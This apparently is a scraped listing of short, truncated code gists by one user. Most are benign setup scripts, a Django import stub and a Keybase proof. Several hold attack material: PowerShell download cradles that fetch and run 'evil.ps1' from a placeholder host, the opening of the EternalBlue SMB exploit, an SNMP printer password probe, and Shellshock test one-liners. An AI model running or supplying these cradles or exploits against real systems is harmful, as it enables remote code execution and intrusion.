suksit

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

suksit

#!/bin/bash

# install qemu utils
sudo apt install qemu-utils

# install nbd client
sudo apt install nbd-client

suksit

import re
from easysnmp import Session
from pprint import pprint
from struct import pack, unpack

printer_ip = "10.0.0.222"


session = Session(hostname=printer_ip, community="public", version=1, timeout=1)
password = [74, 54]

suksit

import uuid
from django.db import models
# Use the import below instead, if using GeoDjango fields
# from django.contrib.gis.db import models
from django.utils.translation import ugettext_lazy as _

from django.contrib.postgres.fields import (
    ArrayField,
    CICharField,
    CIEmailField,

suksit

Download
  https://github.com/git-for-windows/git/releases/download/v2.16.2.windows.1/Git-2.16.2-64-bit.exe
and install it for example under c:\git

Download
   http://repo.msys2.org/msys/x86_64/fish-2.7.1-2-x86_64.pkg.tar.xz
and extract to a temporary directory for example c:\temp
   xcopy /s c:\temp\etc\*  c:\git\etc\
   xcopy /s c:\temp\usr\*  c:\git\usr\

suksit

Keybase proof

I hereby claim:

• I am suksit on github.
• I am suksit (https://keybase.io/suksit) on keybase.
• I have a public key ASCFCPF7rCoQtzB_HL3AkJoivOoquP2rWxED2M3KJHT2xwo

To claim this, I am signing this object:

suksit

#!/usr/bin/python
from impacket import smb
from struct import pack
import os
import sys
import socket

'''
EternalBlue exploit by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

suksit

# GUI-related packages
pkgs="
xserver-xorg-video-fbdev
xserver-xorg xinit
gstreamer1.0-x gstreamer1.0-omx gstreamer1.0-plugins-base
gstreamer1.0-plugins-good gstreamer1.0-plugins-bad gstreamer1.0-alsa
gstreamer1.0-libav
epiphany-browser
lxde lxtask menu-xdg gksu
xserver-xorg-video-fbturbo

suksit

env X='() { (a)=>\' bash -c "echo echo vuln"; [[ "$(cat echo)" == "vuln" ]] && echo "still vulnerable :("

suksit

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"